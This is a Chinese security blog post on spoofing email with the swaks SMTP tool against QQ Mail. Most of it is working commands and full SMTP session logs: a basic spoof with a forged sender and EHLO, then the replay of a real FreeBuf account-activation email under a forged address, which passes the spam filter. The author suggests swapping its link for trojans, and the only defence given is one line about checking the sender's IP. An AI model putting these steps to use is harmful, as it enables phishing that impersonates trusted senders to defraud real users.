钓鱼邮件初探:黑客是如何进行邮件伪造的?

  • A+
所属分类:邮箱安全

本文原创作者:dontshoot

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

现如今的钓鱼邮件都是通过注册相似的邮箱,或者设置邮箱的显示名称,盼着被害人有看走眼的那一刻,轻信邮件的内容。这种方法需要一定的社工技巧,以及诱导性的语言来诱使被害人上钩。但是对于有一定的经验以及眼力的人来说,还是可以识破骗子的伎俩。

下面我要介绍的这款工具可以最大程度的欺骗你的邮箱,更不要提你的眼睛。当然,此方法不是适用于任何邮箱,毕竟每种邮箱的过滤机制都不相同。gmail在这方面就做的不错。

Swaks - SMTP界的瑞士军刀

安装:kali中自带,或者从作者网页下载

基本用法:

swaks –to <要测试的邮箱>         用来测试邮箱的连通性

root@kali:~# swaks --to [email protected]=== Trying mx3.qq.com:25...=== Connected to mx3.qq.com.<-  220 newmx59.qq.com MX QQ Mail Server -> EHLO kali<-  250-newmx59.qq.com<-  250-SIZE 73400320<-  250-STARTTLS<-  250 OK
 -> MAIL FROM:<root@kali><-  250 Ok -> RCPT TO:<[email protected]><-  250 Ok -> DATA<-  354 End data with <CR><LF>.<CR><LF> -> Date: Tue, 05 Jan 2016 23:15:11 -0500 -> To: [email protected]
 -> From: root@kali
 -> Subject: test Tue, 05 Jan 2016 23:15:11 -0500 -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/ -> 
 -> This is a test mailing
 -> 
 -> .<** 550 Mail content denied. http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000726 -> QUIT<-  221 Bye=== Connection closed with remote host.

前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件。

我们可以继续对邮件进行伪造,来绕过qq邮箱的判断

比如:

swaks --to [email protected] --from [email protected] --ehlo freebuf.com --body hello --header "Subject: hello"

其中:

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息,subject为邮件标题>

root@kali:~# swaks --to [email protected] --from [email protected] --ehlo freebuf.com --body hello --header "Subject: hello"=== Trying mx3.qq.com:25...=== Connected to mx3.qq.com.<-  220 newmx.qq.com MX QQ Mail Server -> EHLO freebuf.com<-  250-newmx.qq.com<-  250-SIZE 73400320<-  250-STARTTLS<-  250 OK
 -> MAIL FROM:<[email protected]><-  250 Ok -> RCPT TO:<[email protected]><-  250 Ok -> DATA<-  354 End data with <CR><LF>.<CR><LF> -> Date: Tue, 05 Jan 2016 23:23:09 -0500 -> To: [email protected]
 -> From: [email protected]
 -> Subject: hello
 -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/ -> 
 -> hello
 -> 
 -> .<-  250 Ok: queued as 
 -> QUIT<-  221 Bye=== Connection closed with remote host.

在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok。

钓鱼邮件初探:黑客是如何进行邮件伪造的?

到这一步基本上可以满足伪造邮件的要求了,但是qq邮箱会有安全提示,不过在不注意的情况下,基本上普通用户会轻信邮件中的内容。

高级用法:

使用swaks其实还可以进行更高级的邮件伪造,几乎可以伪造邮件中的每一个参数。

–data <源邮件>

首先,我们需要一份正常的邮件

钓鱼邮件初探:黑客是如何进行邮件伪造的?

点击显示邮件原文,把原文复制出来,保存为email.txt

钓鱼邮件初探:黑客是如何进行邮件伪造的?

其中的received可以都删除,该项为接收信息,发信中不需要。to项也可以删除,可以直接用swaks –to来代替。

注意不要忘了加–from 否则qq邮箱会报由kali代发……

swaks --data ./Desktop/email.txt --to [email protected] --from [email protected]
=== Trying mx3.qq.com:25...=== Connected to mx3.qq.com.<-  220 newmx.qq.com MX QQ Mail Server -> EHLO kali<-  250-newmx.qq.com<-  250-SIZE 73400320<-  250-STARTTLS<-  250 OK
 -> MAIL FROM:<[email protected]><-  250 Ok -> RCPT TO:<[email protected]><-  250 Ok -> DATA<-  354 End data with <CR><LF>.<CR><LF> -> X-QQ-mid: bizesmtp1t1452053499t679t108
 -> X-QQ-SSF: A0100000002000F16x90000A0000000
 -> X-QQ-FEAT: JN+C/NT9bLPRA1qtkTz2XI2YtLAH2K0SriLtB4o1q8I8MwPIq85lzXVAE4t7b
 -> 	OaepuNhlRjNMuNhLJH2pbIQ3JkVf4MP4TXQi2HVPIG8N8dUf6GgxSJyMKya1U+CgOSvNgnP -> 	bbplbVZjkAVzVuoZOc03UetuyeF1A3SpS70fm7O8nzDqx918Tpsf+n3dlMN6UaAEV3SJycL
 -> 	1JuHYi2/yTQ7J6XJ4bMhJRRbRROkDmpNEgqGw1Sfo66A/oJUz0rf4tLEr7HgNuls18LrqZV
 -> 	jYfpcX5wglT4lxLNkHZRNBshk= -> Date: Wed, 6 Jan 2016 12:11:39 +0800 -> Return-Path: [email protected]
 -> From: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDmnI3liqHlm6LpmJ8=?= <[email protected]> -> Subject: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDotKbmiLfmv4DmtLvpgq7ku7Y=?= -> Message-ID: <[email protected]> -> X-Priority: 3 -> X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) -> MIME-Version: 1.0 -> Content-Type: multipart/alternative; -> 	boundary="b1_34db99d2b030c0f7b34bd2c6beca9666" -> 
 -> 
 -> --b1_34db99d2b030c0f7b34bd2c6beca9666
 -> Content-Type: text/plain; charset = "utf-8" -> Content-Transfer-Encoding: 8bit -> 
 -> FreeBuf/漏洞盒子账户激活邮件 -> 
 -> 
 -> --b1_34db99d2b030c0f7b34bd2c6beca9666
 -> Content-Type: text/html; charset = "utf-8" -> Content-Transfer-Encoding: 8bit -> 
 -> 尊敬的FreeBuf/漏洞盒子用户: ->   您好,您可以点击以下链接激活您的账号:<BR><A href="https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6" target=_blank>https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6伪造成功,你还敢点这条链接么</A><BR><BR>本邮件由系统自动发出,请勿回复。 -> 
 -> 感谢您的使用。 -> FreeBuf/漏洞盒子管理团队 -> 
 -> 
 -> 
 -> --b1_34db99d2b030c0f7b34bd2c6beca9666-- -> 
 -> .<-  250 Ok: queued as 
 -> QUIT<-  221 Bye=== Connection closed with remote host.

发送成功,qq邮箱没报垃圾邮件,也没报有害。

钓鱼邮件初探:黑客是如何进行邮件伪造的?

伪造成功,这超链接可以换成你喜欢的各种探针啊,马啊之类的,在加上一点社工技巧,在APT横行的年代,自求多福吧。

解决办法:遇到可疑邮件要查看源邮件,判断发信人ip是否为可信任的ip

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: